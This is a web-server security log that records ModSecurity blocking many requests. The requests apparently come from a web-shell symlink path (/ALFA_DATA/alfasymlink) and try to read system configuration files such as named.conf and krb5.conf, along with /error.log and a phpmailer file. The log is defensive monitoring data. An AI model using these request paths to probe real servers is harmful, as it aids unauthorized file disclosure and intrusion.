[Tue Oct 27 11:39:45.544054 2026] [security2:error] [pid 3258822:tid 3258822] [client 94.103.49.201:36544] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/pure-ftpd.conf"] [unique_id "auDFwcVLJW-GdBR6BLIRWwAAAD8"]
[Tue Oct 27 11:39:45.544796 2026] [security2:error] [pid 3258822:tid 3258822] [client 94.103.49.201:36544] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFwcVLJW-GdBR6BLIRWwAAAD8"]
[Tue Oct 27 11:39:46.168370 2026] [ssl:error] [pid 3258973:tid 3258973] (70014)End of file found: [client 52.3.26.180:3577] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:39:47.616128 2026] [security2:error] [pid 3258813:tid 3258813] [client 91.124.16.175:55124] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/named.conf"] [unique_id "auDFwzfQyWWXyDsybbY3tQAAADY"]
[Tue Oct 27 11:39:47.616403 2026] [security2:error] [pid 3258813:tid 3258813] [client 91.124.16.175:55124] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/named.conf"] [unique_id "auDFwzfQyWWXyDsybbY3tQAAADY"]
[Tue Oct 27 11:39:47.617088 2026] [security2:error] [pid 3258813:tid 3258813] [client 91.124.16.175:55124] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFwzfQyWWXyDsybbY3tQAAADY"]
[Tue Oct 27 11:39:48.132329 2026] [security2:error] [pid 3258913:tid 3258913] [client 199.255.150.134:50476] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/krb5.conf"] [unique_id "auDFxAsCq2gGLCWNpv3jFwAAAC0"]
[Tue Oct 27 11:39:48.132678 2026] [security2:error] [pid 3258913:tid 3258913] [client 199.255.150.134:50476] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/krb5.conf"] [unique_id "auDFxAsCq2gGLCWNpv3jFwAAAC0"]
[Tue Oct 27 11:39:48.133581 2026] [security2:error] [pid 3258913:tid 3258913] [client 199.255.150.134:50476] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFxAsCq2gGLCWNpv3jFwAAAC0"]
[Tue Oct 27 11:39:49.369625 2026] [security2:error] [pid 3258933:tid 3258933] [client 173.244.40.167:41734] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/error.log"] [unique_id "auDFxcZXnwzxAnw-k1TOGQAAAEw"]
[Tue Oct 27 11:39:49.369986 2026] [security2:error] [pid 3258933:tid 3258933] [client 173.244.40.167:41734] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/error.log"] [unique_id "auDFxcZXnwzxAnw-k1TOGQAAAEw"]
[Tue Oct 27 11:39:49.370841 2026] [security2:error] [pid 3258933:tid 3258933] [client 173.244.40.167:41734] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFxcZXnwzxAnw-k1TOGQAAAEw"]
[Tue Oct 27 11:39:50.157367 2026] [security2:error] [pid 3258540:tid 3258540] [client 50.16.248.61:42316] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/cpu1/node0/memory13/subsystem/devices/"] [unique_id "auDFxldyC5U3mficOk_xIQAAAAI"]
[Tue Oct 27 11:39:50.157425 2026] [security2:error] [pid 3258540:tid 3258540] [client 50.16.248.61:42316] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/cpu1/node0/memory13/subsystem/devices/"] [unique_id "auDFxldyC5U3mficOk_xIQAAAAI"]
[Tue Oct 27 11:39:58.199225 2026] [ssl:error] [pid 3258973:tid 3258973] (70014)End of file found: [client 34.225.87.80:22332] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:40:06.157983 2026] [ssl:error] [pid 3258913:tid 3258913] (70014)End of file found: [client 44.210.204.255:14613] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:40:06.660208 2026] [security2:error] [pid 3258388:tid 3258388] [client 175.29.116.205:36684] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/logrotate.conf"] [unique_id "auDF1juXq5IlLdekt1Z10gAAAAs"]
[Tue Oct 27 11:40:06.660465 2026] [security2:error] [pid 3258388:tid 3258388] [client 175.29.116.205:36684] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/logrotate.conf"] [unique_id "auDF1juXq5IlLdekt1Z10gAAAAs"]
[Tue Oct 27 11:40:06.661239 2026] [security2:error] [pid 3258388:tid 3258388] [client 175.29.116.205:36684] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDF1juXq5IlLdekt1Z10gAAAAs"]
[Tue Oct 27 11:40:07.239813 2026] [security2:error] [pid 3258842:tid 3258842] [client 91.124.207.71:49998] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/cpsources.conf"] [unique_id "auDF1704Nnn8ZyKWXi_VOQAAAFM"]
[Tue Oct 27 11:40:07.240091 2026] [security2:error] [pid 3258842:tid 3258842] [client 91.124.207.71:49998] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/cpsources.conf"] [unique_id "auDF1704Nnn8ZyKWXi_VOQAAAFM"]
[Tue Oct 27 11:40:07.240827 2026] [security2:error] [pid 3258842:tid 3258842] [client 91.124.207.71:49998] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDF1704Nnn8ZyKWXi_VOQAAAFM"]
[Tue Oct 27 11:40:09.714318 2026] [security2:error] [pid 3258787:tid 3258787] [client 88.223.173.247:33942] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/xattr.conf"] [unique_id "auDF2VSPafNDmTM9XyUFAwAAABI"]
[Tue Oct 27 11:40:09.714779 2026] [security2:error] [pid 3258787:tid 3258787] [client 88.223.173.247:33942] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/xattr.conf"] [unique_id "auDF2VSPafNDmTM9XyUFAwAAABI"]
[Tue Oct 27 11:40:09.715590 2026] [security2:error] [pid 3258787:tid 3258787] [client 88.223.173.247:33942] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDF2VSPafNDmTM9XyUFAwAAABI"]
[Tue Oct 27 11:40:10.182417 2026] [core:error] [pid 3258913:tid 3258913] (13)Permission denied: [client 44.209.89.189:46774] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/class/input/input0/device/subsystem/devices/device:03/physical_node/driver/bind
[Tue Oct 27 11:40:10.788818 2026] [security2:error] [pid 3258896:tid 3258896] [client 108.171.48.120:51812] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/rsyslog.conf"] [unique_id "auDF2k_NdsRkHuvNcpZx1QAAAB8"]
[Tue Oct 27 11:40:10.789190 2026] [security2:error] [pid 3258896:tid 3258896] [client 108.171.48.120:51812] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/rsyslog.conf"] [unique_id "auDF2k_NdsRkHuvNcpZx1QAAAB8"]
[Tue Oct 27 11:40:10.790064 2026] [security2:error] [pid 3258896:tid 3258896] [client 108.171.48.120:51812] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDF2k_NdsRkHuvNcpZx1QAAAB8"]
[Tue Oct 27 11:40:11.219274 2026] [security2:error] [pid 3258787:tid 3258787] [client 88.223.173.247:33942] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /beta/vendor/phpmailer/phpmailer/composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/beta/vendor/phpmailer/phpmailer/composer.json"] [unique_id "auDF21SPafNDmTM9XyUFBgAAABI"]
[Tue Oct 27 11:40:11.219451 2026] [security2:error] [pid 3258787:tid 3258787] [client 88.223.173.247:33942] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/beta/vendor/phpmailer/phpmailer/composer.json"] [unique_id "auDF21SPafNDmTM9XyUFBgAAABI"]
[Tue Oct 27 11:40:11.220148 2026] [security2:error] [pid 3258787:tid 3258787] [client 88.223.173.247:33942] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDF21SPafNDmTM9XyUFBgAAABI"]
[Tue Oct 27 11:40:12.859307 2026] [security2:error] [pid 3258972:tid 3258972] [client 155.117.195.178:50732] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/man_db.conf"] [unique_id "auDF3JpBrJlvwR8gIX-7uQAAAAU"]
[Tue Oct 27 11:40:12.859543 2026] [security2:error] [pid 3258972:tid 3258972] [client 155.117.195.178:50732] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/man_db.conf"] [unique_id "auDF3JpBrJlvwR8gIX-7uQAAAAU"]
[Tue Oct 27 11:40:12.860206 2026] [security2:error] [pid 3258972:tid 3258972] [client 155.117.195.178:50732] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDF3JpBrJlvwR8gIX-7uQAAAAU"]
[Tue Oct 27 11:40:12.867609 2026] [security2:error] [pid 3258789:tid 3258789] [client 45.45.154.47:42990] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/mtools.conf"] [unique_id "auDF3HVf4r4CZeQot_KKyAAAABg"]
[Tue Oct 27 11:40:12.867825 2026] [security2:error] [pid 3258789:tid 3258789] [client 45.45.154.47:42990] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/mtools.conf"] [unique_id "auDF3HVf4r4CZeQot_KKyAAAABg"]
